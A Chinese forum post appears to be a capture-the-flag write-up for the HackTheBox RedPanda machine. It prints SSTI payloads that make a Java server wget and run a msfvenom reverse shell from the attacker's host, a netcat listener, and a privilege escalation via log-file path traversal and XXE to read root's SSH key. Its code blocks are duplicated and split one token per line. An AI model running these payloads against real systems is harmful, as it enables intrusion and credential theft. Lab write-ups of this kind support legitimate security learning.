-
-
[原创]HTB RedPanda(easy) WP
-
发表于: 2022-11-1 15:21 988
-
小白入门web安全,更多的是借着大佬的wp学习知识
参考:
https://shakuganz.com/2022/07/12/hackthebox-redpanda/
https://vato.cc/hackthebox-writeup-redpanda/
HTB上需要连接vpn方能访问题目,kali自带openvpn
sudo vim /etc/hosts,写入题目地址
先进行端口探测,nmap或rustscan
rustscan项目地址https://github.com/RustScan/RustScan
开启了22和8080
使用SSTI注入,下面是可以的payload列表
具体可以查看https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ 或其他大佬的帖子
使用注入模板里匹配的payload进行代码执行https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker---basic-injection
先使用curl来进行测试,本机开启服务,xxxx为本机地址
然后使用msfvenom生成一个shell,LHOST为本机地址,LPORT可以更换
xxxx为本机地址需在r.elf文件目录下开启python3 -m http.server 80
之后开启监听,接受返回的shell,在收到connect后,攻击机生成PTY SHELL
获取user的flag
之后进行权限提升
发现有跑在root权限下的web应用panda_search-0.0.1-SNAPSHOT.jar,使用id命令可以判断当前用户是否在logs组下,在搜索logs组拥有的文件时,发现/opt/panda_search/redpanda.log. 我们拥有日志文件的 READ+WRITE权限。
使用pspy64,(xxxx为本机地址,pspy64下开启http)发现一个JAR文件将由root执行,pspy项目地址https://github.com/DominicBreuker/pspy
在/opt/credit-score/LogParser/final/target/路径下开一个http并下载文件(python3 -m http.server 8123)。使用jd-gui打开 JAR 文件,可以看到在main()中读取了/opt/panda_search/redpanda.log。代码对/opt/panda_search/redpanda.log 进行了逐行读取,其中必须包含“.jpg”,.split(“\|\|”)该字符串必须拆分为4个字符串,第4个字符串必须指向现有的.jpg文件。.jpg文件的“Artist”必须与/credits/<author_name>_creds.xml相匹配。
由于当前用户没有 WRITE 访问权限/credits,因此我必须将“Artist”值设置为“../tmp/gg”,我们的 XML 漏洞利用将位于/tmp/gg_credits.xml。
JPG 文件应位于当前用户具有 WRITE 访问权限的文件夹中。用/tmp。
找一张可用的jpg文件,给文件的Artist tag 改为“../tmp/gg”
查看所需XML结构的一种快速简便的方法是查看靶机上的XML文件。
可以在Java中/创建tmp/gg_creds.xml使用XML实体扩展 (XXE)来读取root的SSH私有密钥,有关xxe的连接https://knowledge-base.secureflag.com/vulnerabilities/xml_injection/xml_entity_expansion_java.html#vulnerable-example-1
gg_creds.xml文件内容
程序将从该目录中读取 JPG 文件/opt/panda_search/src/main/resources/static,由于我们只有对/home/woodenk或/tmp 的WRITE权限,所以使用目录遍历指向JAR文件来读取/tmp。
最终内容为/opt/panda_search/redpanda.log
本机在制作好的jpg与xml目录下开启 python3 -m http.server 80
然后就能拿到root shell了
注意key的末尾要有个换行。。。。。
nmap
-
sT
-
v
-
Pn
10.10
.
11.170
-
p
-
rustscan RedPanda.htb
-
r
1
-
65535
nmap
-
sT
-
v
-
Pn
10.10
.
11.170
-
p
-
rustscan RedPanda.htb
-
r
1
-
65535
{{
7
*
7
}}
${
7
*
7
}
<
%
=
7
*
7
%
>
${{
7
*
7
}}
#{7*7}
{{
7
*
7
}}
${
7
*
7
}
<
%
=
7
*
7
%
>
${{
7
*
7
}}
#{7*7}
*
{"
".getClass().forName("
java.lang.Runtime
").getRuntime().exec("
curl http:
/
/
10.10
.xx.xx")}
*
{"
".getClass().forName("
java.lang.Runtime
").getRuntime().exec("
curl http:
/
/
10.10
.xx.xx")}
python3
-
m http.server
80
python3
-
m http.server
80
msfvenom
-
p linux
/
x64
/
shell_reverse_tcp LHOST
=
10.10
.xx.xx LPORT
=
9876
-
f elf > r.elf
msfvenom
-
p linux
/
x64
/
shell_reverse_tcp LHOST
=
10.10
.xx.xx LPORT
=
9876
-
f elf > r.elf
*
{"
".getClass().forName("
java.lang.Runtime
").getRuntime().exec("
wget
10.10
.xx.xx
/
r.elf")}
*
{"
".getClass().forName("
java.lang.Runtime
").getRuntime().exec("
chmod
777
.
/
r.elf")}
*
{"
".getClass().forName("
java.lang.Runtime
").getRuntime().exec("
.
/
r.elf")}
*
{"
".getClass().forName("
java.lang.Runtime
").getRuntime().exec("
wget
10.10
.xx.xx
/
r.elf")}
*
{"
".getClass().forName("
java.lang.Runtime
").getRuntime().exec("
chmod
777
.
/
r.elf")}
*
{"
".getClass().forName("
java.lang.Runtime
").getRuntime().exec("
.
/
r.elf")}
nc
-
lvnp
9876
python3
-
c
'import pty; pty.spawn("/bin/bash")'
nc
-
lvnp
9876
python3
-
c
'import pty; pty.spawn("/bin/bash")'
cd ~
cat user.txt
cd ~
cat user.txt
ps aux | grep root
...
root
865
0.0
0.0
2608
596
? Ss Jul11
0
:
00
/
bin
/
sh
-
c sudo
-
u woodenk
-
g logs java
-
jar
/
opt
/
panda_search
/
target
/
panda_search
-
0.0
.
1
-
SNAPSHOT.jar
root
866
0.0
0.2
9420
4368
? S Jul11
0
:
00
sudo
-
u woodenk
-
g logs java
-
jar
/
opt
/
panda_search
/
target
/
panda_search
-
0.0
.
1
-
SNAPSHOT.jar
ps aux | grep root
...
root
865
0.0
0.0
2608
596
? Ss Jul11
0
:
00
/
bin
/
sh
-
c sudo
-
u woodenk
-
g logs java
-
jar
/
opt
/
panda_search
/
target
/
panda_search
-
0.0
.
1
-
SNAPSHOT.jar
root
866
0.0
0.2
9420
4368
? S Jul11
0
:
00
sudo
-
u woodenk
-
g logs java
-
jar
/
opt
/
panda_search
/
target
/
panda_search
-
0.0
.
1
-
SNAPSHOT.jar
woodenk@redpanda:
/
home
/
woodenk$
id
uid
=
1000
(woodenk) gid
=
1001
(logs) groups
=
1001
(logs),
1000
(woodenk)
woodenk@redpanda:
/
home
/
woodenk$ find
/
-
group logs
2
>
/
dev
/
null
...
/
opt
/
panda_search
/
redpanda.log
woodenk@redpanda:
/
home
/
woodenk$ ls
-
l
/
opt
/
panda_search
/
redpanda.log
-
rw
-
rw
-
r
-
-
1
root logs
18052
Jul
11
00
:
00
/
opt
/
panda_search
/
redpanda.log
woodenk@redpanda:
/
home
/
woodenk$
id
uid
=
1000
(woodenk) gid
=
1001
(logs) groups
=
1001
(logs),
1000
(woodenk)
woodenk@redpanda:
/
home
/
woodenk$ find
/
-
group logs
2
>
/
dev
/
null
...
/
opt
/
panda_search
/
redpanda.log
woodenk@redpanda:
/
home
/
woodenk$ ls
-
l
/
opt
/
panda_search
/
redpanda.log
-
rw
-
rw
-
r
-
-
1
root logs
18052
Jul
11
00
:
00
/
opt
/
panda_search
/
redpanda.log
woodenk@redpanda:
/
home
/
woodenk$ cd
/
tmp
woodenk@redpanda:
/
tmp$ wget
10.10
.xx.xx
/
pspy64
woodenk@redpanda:
/
tmp$ chmod
+
x .
/
pspy64
woodenk@redpanda:
/
tmp$ .
/
pspy64
woodenk@redpanda:
/
home
/
woodenk$ cd
/
tmp
woodenk@redpanda:
/
tmp$ wget
10.10
.xx.xx
/
pspy64
woodenk@redpanda:
/
tmp$ chmod
+
x .
/
pspy64
woodenk@redpanda:
/
tmp$ .
/
pspy64
exiftool
-
Artist
=
"../tmp/gg"
pe_exploit.jpg
exiftool
-
Artist
=
"../tmp/gg"
pe_exploit.jpg
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!